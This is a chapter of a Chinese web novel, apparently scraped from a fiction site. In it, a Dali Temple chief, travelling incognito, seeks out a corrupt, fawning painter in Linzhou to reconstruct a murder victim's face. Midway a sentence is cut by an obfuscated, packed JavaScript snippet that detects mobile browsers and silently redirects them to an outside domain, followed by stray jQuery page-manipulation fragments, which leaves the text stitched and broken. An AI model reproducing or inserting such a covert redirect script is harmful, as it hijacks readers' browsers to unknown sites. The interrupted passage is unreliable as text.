冬去春来,万物复苏。
临州城,东华国东南边一个临海县城。
如今正是初春开渔的季节,临州城的人们都忙着收拾渔具、整理船只,路上吆喝声、叫卖声此起彼伏,好不热闹。
人群中,一名年轻公子手里托着一个木盒走来,身边亦步亦趋跟着一个仆役样的男子,怀中抱着几个锦盒。
那公子竖着发髻,穿着玉色锦罗绸缎小衫,下摆缀着一个鱼白色锦囊。
他身上的衣服并非是名贵布料,但整个人却看着相貌不凡、气宇轩昂,引得周边的路人纷纷望过来,更有大胆的少女三五成群挤在铺子门口,看着那公子掩面轻笑。
年轻公子在一个酒铺门口停下,左看看右看看,面露困惑。
那酒铺的老板见到如此俊俏的郎君,连忙热情地招呼:“公子,是想沽酒吗?”
身边的仆役有些困惑道:“厉大……公子,我打听到的那画师的住所应当是这里才对,许是……他搬家了也说不准?”
来人正是已上任数月的大理寺卿厉思远。
只是临州城地处江南,住在这里的皆是祖辈都扎根在这里的本地人,没有人关心京城发生了什么,所以也就无人能认得出这位新任大理寺卿。
不过这也正合厉思远的心意,他原本也是隐姓埋名而来,若是让人认出来了,免不了麻烦。
但一旁的邱容却不这么认为。
虽他们家大人并不需要事事照应,也没有让自己贴身侍奉,但他自小便跟在厉思远身边,知道他们家大人是什么性子。
明明自小习武,又喜爱的紧,而后亲自向君上请命前往南方清剿南蛮,立下赫赫军功,原本应该是回来封侯的。
然而大人回京后,却因为敛府的案子,惹得陛下在御书房大发雷霆,还让人把大人拉出去,生生打了几十鞭子。
要不是恰巧被太后娘娘身边的嬷嬷瞧见,回去拉了太后来求情,恐怕大人还会挨更多的鞭子。
他还记得大人被拉回府里的时候,那皮开肉绽、鲜血淋漓的后背,心疼的他都哭了。
听送人回来的公公说,打的过程中大人死死咬住嘴唇,愣是不肯发出一点声音。
后来,大人请旨做了大理寺卿。
虽说大理寺卿也是正三品官员,但公子终究是喜欢习武的,怎么偏偏做文官……
想到公子在请命任职的时候,曾一个人在深夜坐了许久,似是思忖良久才做下的艰难决定。
邱容更是想不通了,就算是惹了陛下动怒,可陛下转头便差宫里人送药来,想来陛下也是真心爱护大人。
公子金枝玉叶,又有陛下和太后护佑,为何会逼自己做不喜欢的事情呢?
这厢,厉思远见邱容也是一脸困惑,此时恰巧那酒铺老板出门招呼他,便拱手问道:
“这位阿叔,请问一下这附近可是住着一位姓陈的画师?”
酒铺老板看着这公子温和有礼的样子,乐呵呵答道:“你是说陈生画师?哎哟他可是现在临州城的大名人,几个月前就不住在我们这个破烂地方咯!”
他努了努嘴,指向不远处:“喏,就是那儿。”
厉思远顺着他指的方向望去,酒铺坐落的街巷与另一条街巷由一条河流分隔开来。
顺着木制拱桥望过去,与这边的泥地不同,对面整条街道都是由青石砖铺就而成,四周都是三进三出的大宅子,三三两两的穿着华贵的人从路上走过,和桥这边形成了截然不同的风景。
厉思远挑眉,刚进这临州城的时候,他便一直注意寻找那画师的宅子,却忽略了一桥之隔,竟然差距如此大。
陛下治国严明,京城虽然普通人家同官宦贵族家都分布在不同的街巷,但也没有临州城这样大的差距,一边是破棚屋,一边是大宅子,就连走的道路都不同。
他轻轻嘟囔了一句:“划分的这样分明,这临州县城竟比京城的排场还要大啊……”
虽然声音很轻,但还是被酒铺老板捕捉到了,他忙摆手道:“哎呀公子,您要是去了陈画师的宅子,可千万不要这么说!”
他把声音放低,悄声:“那陈画师可是我们苏县令的侄子,你可千万别把他惹毛了!”
酒铺老板是好心提醒,谁知这年轻公子却浑不在意地笑了笑,一脸轻松。
看的酒铺老板直摇头,真是初生牛犊不怕虎,这样的愣头青当真是不知道苏县令的厉害。
他也没有多说,而是拉开躺椅准备躺下晒晒太阳,就听见那公子又问道:“阿叔,我还有一事不解。”
酒铺老板耐着性子:“什么?”
厉思远:“既然陈生是苏县令的侄子,缘何他的旧宅会在这边?”
如果他身份尊贵,按理来说一开始就应该被划入对面的区域才对,为何会几个月前才搬走,那苏县令可是已经做了七年官了。
酒铺老板直起身子,四下看了看,压低声音:
“你们外地人不知道,陈生他们家原来祖辈都是渔夫。”
“虽然陈生这人画画小有名气,也赚了不少银子,但是他这个叔叔根本就瞧不上,自然也就没资格去桥对面了。”
“约莫是冬天那会儿,好像是他的一幅画很得一位贵人的心?他叔叔非常高兴,于是请他们举家搬到了对面。”
“哎呀排场大得很,当时我就在这儿看着,平时邻里关系还行,这一搬家就开始摆起谱了,连招呼都不打就走了!”
一旁茶叶铺的老板这个时候也插了一嘴:
“那陈生的画……好像叫什么丹阳踏春图?被丹阳郡的夏太守夸得天花乱坠。”
“原本当时请夏太守来的时候,因为失误把珍品鱼放走了,那可是要用在渔获宴上的啊……
周边铺子的老板也纷纷加入话题。
“我想起来了,夏太守是看在这幅画的面上才没有怪罪苏县令招待不周,当时可把陈生捧到天上去了!”
“哎是不是那边胭脂铺子他们家弟弟放走的鱼?哎哟那鱼可难得……怪不得说他们家一直没开门,也不知道苏县令会怎么惩治……”
临州县城直属丹阳郡,也难怪这苏世良想要巴结讨好,但是……珍品渔获不是每年给朝廷的供品,这夏太守竟然还有胆子吃?
看来不论是这临州城还是丹阳郡,都该好好给君上禀告一番。
厉思远摩挲下巴思忖了一下,便托着木盒朝那几位聊的热火朝天的老板一揖,整了整衣襟朝桥对面走去。
这时身后的酒铺老板才一拍大腿:“哎哟!忘了问这位公子的名字了,我家女儿刚好适龄,可惜了一个好女婿……”
旁边的茶铺老板打趣:“公子长得如此俊美,怕是早就有夫人了,你可别自讨没趣了!”
身后的吵闹嬉笑声逐渐远去,厉思远踏上了坚实干净的青石板路,看着这一间间奢华宽敞的大宅子,神色冷淡。
穿过几条巷子后,厉思远在一间看起来比较矮小的宅子旁停下脚步。
宅子上挂着一个褐色的牌匾,写着“陈宅”两个字。
从刚才酒铺老板指的方向来看,这里就是那位陈生画师的宅子了。
其他宅子相比,陈宅看起来有些矮小窘迫,想来苏县令虽然借了他侄子的光,但依旧看不起他。
厉思远走上两个台阶,敲响了手边的铜制门环,不多时一个小厮打着哈欠将门开了一条缝:“你们找谁?”
厉思远拱了拱手道:“鄙人有事想要拜见一下陈生,陈画师,劳烦通传一下。”
边说边将一旁邱容露了出来,那小厮见邱容手上捧着的锦盒看着很是精美,露出一个了然的神色,便进门去通传了。
没过一会儿,陈宅厚重的木门吱呀呀向两侧打开来,刚刚的小厮笑着将两人引进了院子里。
这陈宅的庭院虽然有些小,布局却小巧精致。
两侧种满了各式鲜花,不远处是一条小河,河水上假山错落有致,水车徐徐转动,内宅青砖黑瓦,柱子上雕刻着精致的云纹。
看似低调,但厉思远知道这样的布局也要花上不少银子。
今日来的重点并非是深究区区一介画师为何能如此奢靡,他的目光掠过这些陈设后,便捧着木盒步入了内宅大堂中。
内堂干净整洁,却也是布满了寻常人看不出的奢华装饰,西蜀乌木家具、景德镇瓷器、西域特产玉石……琳琅满目、价值不菲,厉思远心中冷笑,但面上不显。
那小厮指着旁边的椅子说道:“二位请先坐,我家老爷正在潜心作画,烦请等一会儿。”
说完又看向邱容手里的锦盒,意思再明显不过,厉思远点点头,邱容便端出一个锦盒呈给小厮。
那小厮打开看到里面两匹锦缎后,不屑地皱皱眉,方才满脸堆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268707|182205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑的样子瞬间消失不见,只丢下一句让他们等着,便扬长而去。
邱容撇撇嘴:“大人,你看他那样子,稀罕物事见多了便看不上我们的东西。”
“您是正三品官员,请他来协助我们断案已经是看得起他了,备上见面礼也是出于礼貌,他们家连盏茶都不给。”
厉思远倒是毫不在意地撩开衣摆坐下,打量着周围的装饰:
“陈生并不知道我的身份,看那下人的模样,对于这种带礼来的事情司空见惯,还对其间的物品挑三拣四,想来把我们当成来求画的人,再正常不过了。”
邱容依旧愤愤:“大人就应当亮出身份,小人就见不得这种见人下菜碟的小人,不过是一介画师。”
“要论起画功,我感觉远不如品画会上的画作,尤其是敛府他们家那位画的,那可是……”
刚说到这里,邱容瞬间打了个激灵闭上了嘴,他蓦然看向他家大人,知晓自己提了不该提的人。
只见厉思远果然沉下脸色,邱容恨不得狠狠抽自己一巴掌,提谁不好,非要提敛府,他还没忘了当初自家大人在听闻敛府变故后,是如何……
他这边胡思乱想着,厉思远则不紧不慢地坐在椅子上,不知从哪里摸出了一本书翻着看。
时间一分一秒过去,邱容实在站不住了,怒道:“这陈宅欺人太甚!大人——公子稍等,我这就去把这个陈生喊出来!”
厉思远抬手制止了邱容,下一秒便听见内堂里面传来了一阵慢吞吞的脚步声。
一个脚步虚浮的中年人从外面走了进来,由两个小丫鬟搀扶着,身后跟着一个点头哈腰的管事。
他那肥头大耳、眼下青黑的样子,一看便是好色贪婪之徒,厉思远微微皱起眉。
传闻中的临州名画师竟然是这般光景么?未免太让人失望了。
出于礼貌,他起身作揖道:“这位想必就是陈画师了吧?”
邱容也跟着不情不愿地行了礼。
陈生没有回礼,而是兀自打了个哈欠道:“你……想来求画?我画画的价钱打听到没有?”
懒懒散散,毫无礼数,邱容在一旁咬牙切齿。
厉思远宠辱不惊,拱手道:“放心,您若是真的能达到我们的需求,大理寺定不会亏待您的。”
一听“大理寺”三个字,陈生吓得一个激灵:“您、您是……大理寺的官爷?”
厉思远道:“本官正是来办大理寺的差事,现下有一杀人案需请画师您从旁协助。”
陈生瞬间喜上眉梢,那可是大理寺啊!京城来的官爷!要是自己能帮得上忙,日后定少不了好处!
想到这里,他立马换上了一副谄媚的样子,笑的眼角皱纹都堆在了一起,遣旁边的小丫鬟们去备茶后,搓着手道:
“官爷,快、快请坐!哎呀都怪府里的下人,原应当早点通报才对,也不知道刚才去哪偷懒了,我这才姗姗来迟,您莫见怪啊——孙管事!”
旁边的孙管事忙点头哈腰:“哎,老爷——”
“把刚才那通报的下人好好教育一下,怎能出现这种纰漏,怠慢了贵客!”
孙管事心里苦笑,这不是老爷您在和那两个丫鬟“办事”,听见这正厅来的人并非什么贵人,所以让我们缓缓嘛……
但他可不敢这样顶嘴,只得点头:“是,老爷,回头我就去好好查一下,该罚就罚!”
陈生满意点头,笑着转过身:“官爷,你们具体是想要画什么啊?”
东厢房那样多的画师,应当总有人能画出来吧?
如果画不出来,就饿上他们几日,逼着把这个差事交了,也趁这几日同这位官爷好好熟络一下,若是能借着机会得到京中贵人的青眼……
陈生心中暗暗盘算着。
厉思远伸手将自己怀中一直抱着的木盒推到陈生眼前:“大人怕死人么?”
陈生这边正做着攀上高枝儿,平步青云的春秋大梦,冷不防没听清,只一味笑着:“有什么需要您尽管提!”
厉思远便当他不怕,伸手掀开了木盒盖子:“我们需要您把这位苦主的容貌还原,以助我们找到她的真实身份。”
陈生长得矮胖,那盒子里的东西只露出一个边缘,看不到全貌,他便笑着伸手去掏:“嘿嘿,好说、好……啊!!!”
看清手里的东西,那陈生嗷地跳起来半尺高。